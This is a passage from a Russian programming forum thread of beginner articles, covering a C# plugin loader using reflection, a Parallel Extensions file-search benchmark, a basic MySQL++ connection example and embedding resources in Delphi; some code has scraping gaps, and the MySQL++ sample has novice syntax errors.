    Данная библиотека добавляется в ссылки и в лоадере и в плагине.
    Лоадер
    Собственно вот и лоадер...
    Что он из себя представляет? Обычное WinForm приложение.

    Создаем экземпляр объекта Hashtable;

    PHP:
    readonly Hashtable plugins = new Hashtable();
    Ниже приведу список методов и описание:

    private void GetPlugins() - данная функция ищет плагины (об этом поподробнее ниже)
    private void button1_Click - обработчик нажатия на кнопку (иницирует работу плагина (точнее его метод, реализация интерфейса))

    PHP:
            private void GetPlugins()
            {
                
    string[] files Directory.GetFiles(Application.StartupPath"*.dll"); //получаем файлы с расширением dll в папке откуда был запущен Exe
                
    foreach (string file in files)
                {
                    try
                    {
                        
    Assembly assembly Assembly.LoadFile(file);//загружаем сборку
                        
    foreach (Type type in assembly.GetTypes())
                        {
                            
    Type f type.GetInterface("Core.IPlugin"); //попытаемся получить интерфейс
                            
    if (!= null)
                            {
                                
    IPlugin plugin = (IPluginActivator.CreateInstance(type);
                                
    plugins.Add(plugin.Descriptionplugin); //Добавление интерфейса
                                
    comboBox1.Items.Add(plugin.Description); //В список добавляем описание плагина
                                
    ListViewItem item = new ListViewItem();
                                
    item.Text file;
                                
    item.SubItems.Add(plugin.Description);
                                
    listView1.Items.Add(item);
                            }
                        }
                    }
                    catch (
    Exception ex)
                    {
                        
    MessageBox.Show("Ошибка загрузки плагина\n" ex.Message); //опс... =(
                    
    }
                }
            }
    Реализация плагина
    PHP:
    public class Class1:IPlugin //наследование интерфейса
        
    {
            public 
    string Description //описание
            
    {
                
    get
                
    {
                    return 
    "Plugin1 description";
                }
            }

            public 
    object Calc(int xint y//реализация метода
            
    {
                return 
    y;
            }
    Наследуем интерфейс и реализуем...
    Конец
    ну вот и все...
     
    1 person likes this.
  18. jawbreaker

    jawbreaker Elder - Старейшина

    Joined:
    7 Jul 2008
    Messages:
    156
    Likes Received:
    76
    Reputations:
    3
    используем Parallel Extensions для .Net

    Parallel Extensions это небольшое дополнение к библиотеке System.Threading, которое позволяет на высоком уровне выполнять задачи на всех доступных ядрах/процессорах.


    История
    Библиотека Parallel Extensions (PE) — совместный проект команды .Net и Microsoft Research — впервые увидела свет 29 ноября 2007 года. Она создана для того, чтобы разработчики могли пользоваться современными многоядерными архитектурами, не утруждая себя трудоемким управлением потоками. Программы, написанные с применением библиотеки, автоматически используют все доступные ядра системы. Если же программа будет запущена на старом одноядерном компьютере, то выполнение будет происходить последовательно, практически без потерь в производительности. Таким образом, использование PE раскрывает все преимущества многоядерных технологий, сохраняя работоспособность на одноядерных системах.

    Последнее обновление библиотеки было в июне 2008 года. Сейчас она имеет статус Community Technology Preview и, скорее всего, войдет в 4 версию .Net.

    Состав библиотеки

    PE состоит из трех основных компонентов:

    * Task Parallel Library (TPL) — предоставляет такие императивные методы, как Parallel.For, Parallel.Foreach и Parallel.Invoke для выполнения параллельных вычислений. Вся работа по созданию и завершению потоков, в зависимости от имеющихся процессоров выполняется библиотекой автоматически.
    * Parallel LINQ (PLINQ) — надстройка над LINQ to Objects и LINQ to XML, позволяющая выполнять параллельные запросы. В большинстве случаев достаточно в начале запроса написать AsParallel() для того, чтобы все последующие операторы выполнялись параллельно. Внутренне использует TPL.
    * Coordination Data Structures (CDS) — набор структур, который используется для синхронизации и координации выполнения параллельных задач.
    Перейдём к примеру:
    PHP:
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Data.SqlClient;
    using System.IO;
    using System.Threading;


    class 
    Program
    {
        private static 
    int nbFiles;
        private static 
    int nbMatchFiles;

        private const 
    String dirPath = @"D:\_Dev";
        private const 
    String pattern "public";

        static 
    void Main(string[] args)
        {
            
    Console.WriteLine("Searching for : " pattern);

            
    nbFiles 0;
            
    nbMatchFiles 0;
            
    DateTime start DateTime.Now;

            
    Console.WriteLine("Search using Standard Processing");
            
    SearchForStandard(dirPathpatterntrue);
            
    Console.WriteLine(string.Format("Total files : {0}"nbFiles));
            
    Console.WriteLine(string.Format("found in files : {0}"nbMatchFiles));
            
    Console.WriteLine(string.Format("Search Duration : {0}"DateTime.Now.Subtract(start).ToString()));
            
    Console.ReadKey();
        }

        private static 
    void SearchForStandard(string pathstring textbool recurse)
        {
            foreach (
    String file in Directory.GetFiles(path"*.*"))
            {
                
    Interlocked.Increment(ref nbFiles);
                
    FindInFile(filetext);
            }
            if (
    recurse)
            {
                foreach (
    String dir in Directory.GetDirectories(path))
                {
                    
    SearchForStandard(dirtextrecurse);
                }
            }
        }
        private static 
    void FindInFile(string csFilePathstring text)
        {
            if (
    File.ReadAllText(csFilePath).IndexOf(text) >= 0)
                
    Interlocked.Increment(ref nbMatchFiles);
        }
    }
    Результат:
    Code:
    Searching for : public
    Search using Standard Processing
    Total files : 23210
    found in files : 6689
    Search Duration : 00:01:17.6940000
    
    Теперь с использованием Parallel Extensions:
    PHP:
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Data.SqlClient;
    using System.IO;
    using System.Threading;

    class 
    Program
        
    {
            private static 
    int nbFiles;
            private static 
    int nbMatchFiles;

            private const 
    String dirPath = @"F:\_Dev";
            private const 
    String pattern "public";

            static 
    void Main(string[] args)
            {
                
    Console.WriteLine("Searching for : " pattern);

                
    nbFiles 0;
                
    nbMatchFiles 0;
                
    DateTime start DateTime.Now;

                
    Console.WriteLine("Search using Parallel Processing");
                
    SearchForParallel(dirPathpatterntrue);
                
    Console.WriteLine(string.Format("Total files : {0}"nbFiles));
                
    Console.WriteLine(string.Format("found in files : {0}"nbMatchFiles));
                
    Console.WriteLine(string.Format("Search Duration : {0}"DateTime.Now.Subtract(start).ToString()));
            }

            private static 
    void SearchForParallel(string pathstring textbool recurse)
            {
                
    Parallel.ForEach(Directory.GetFiles(path"*.cs"), csFilePath =>
                {
                    
    Interlocked.Increment(ref nbFiles);
                    
    FindInFile(csFilePathtext);
                });
                if (
    recurse)
                    
    Parallel.ForEach(Directory.GetDirectories(path),
                        
    dirName => SearchForParallel(dirNametextrecurse));
            }
            private static 
    void FindInFile(string csFilePathstring text)
            {
                if (
    File.ReadAllText(csFilePath).IndexOf(text) >= 0)
                    
    Interlocked.Increment(ref nbMatchFiles);
            }
        }
    И результат:
    Code:
    Search using Parallel Processing
    Total files : 6708
    found in files : 6059
    Search Duration : 00:00:02.3510000
    
    Как видим выигрыш в производительности есть, и немалый а от нас потребовалось просто написать Parallel.ForEach вместо обычного ForEach, всё остальное PE делает за нас ;-)

    Скачать Parallel Extensions для .Net 3.5
     
    #18 jawbreaker, 21 Dec 2008
    Last edited: 21 Dec 2008
    1 person likes this.
  19. serfertty

    serfertty Guest

    Reputations:
    0
    Введение
    Микро Статья для начинающих в кодинге по работе с мукулом.
    Думаю будет полезно.Все примеры для
    командной строки.
    Начнем
    Заголовки
    Code:
    #include <iostream>
    #include <mysql++.h>
    using namespace std;
    using namespace mysqlpp;
    
    Данные для соединения с БД
    Code:
    int main()
    {
    const char db[]=”db_name”;//Навзание БД
    const char user[]=”username”;//Логин Юзвера
    const char password[]=”password”;//Пароль юзера
    const char host[]=”localhost”;//Хост
    const int pot=”3306”;//Порт
    
    Функция соединения с сервером
    Code:
    mysqlpp::Connection con(false);//Создадим объект con для соединения с сервером
    con.connection(db,host,user,password,port);
    if(conection)
    {cout”You are connected”;}
    else{cout<<"Error";
    Запросы
    Code:
     mysqlpp::Query query = con.query();
    query<<”Select*From table_name”;
    mysqlpp::Result res = query.store();//Получаем р-ты
    
    Получаем колнки
    Code:
       if (res) {
                    char buf[256];
                    mysqlpp::Row row;
                    mysqlpp::Row::size_type i;
                    for (i = 0; row = res.at(i); i++) {
                            cout << '\t' << utf8trans(row.at(0), buf, sizeof(buf));
                    }
            }
            else {
                    cerr << "Failed to get item list: " << query.error() ;
                    return 1;
            }
    
            return 0;
    
    Заключение
    Вот и все основные команды.Стаья не очень,но пишу сам как новичок.
     
    2 people like this.
  20. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    Использование ресурсов (Delphi)

    Введение
    куча вопросов по поводу работы с ресурсами, тут приведу лишь 1 вариант извлечение онного...

    BRCC32
    1. Запускаем блокнот
    2. Записываем секцию вида - updater_exe RCDATA updater.exe
    3. Сохраняем с расширением rc
    4. Открываем консоль. Набираем следующее brcc32 <путь и имя файла (пункт 3)>
    5. В итоге должны получить фай с расширением res

    {$R <Resource.res>}
    1. Создаем проект в Delphi
    2. Используя дериктиву $R добавляем использование ресурса... Пример {$R myres.res}

    Извлечение ресурса
    Happy End
    вот и все...
     
    2 people like this.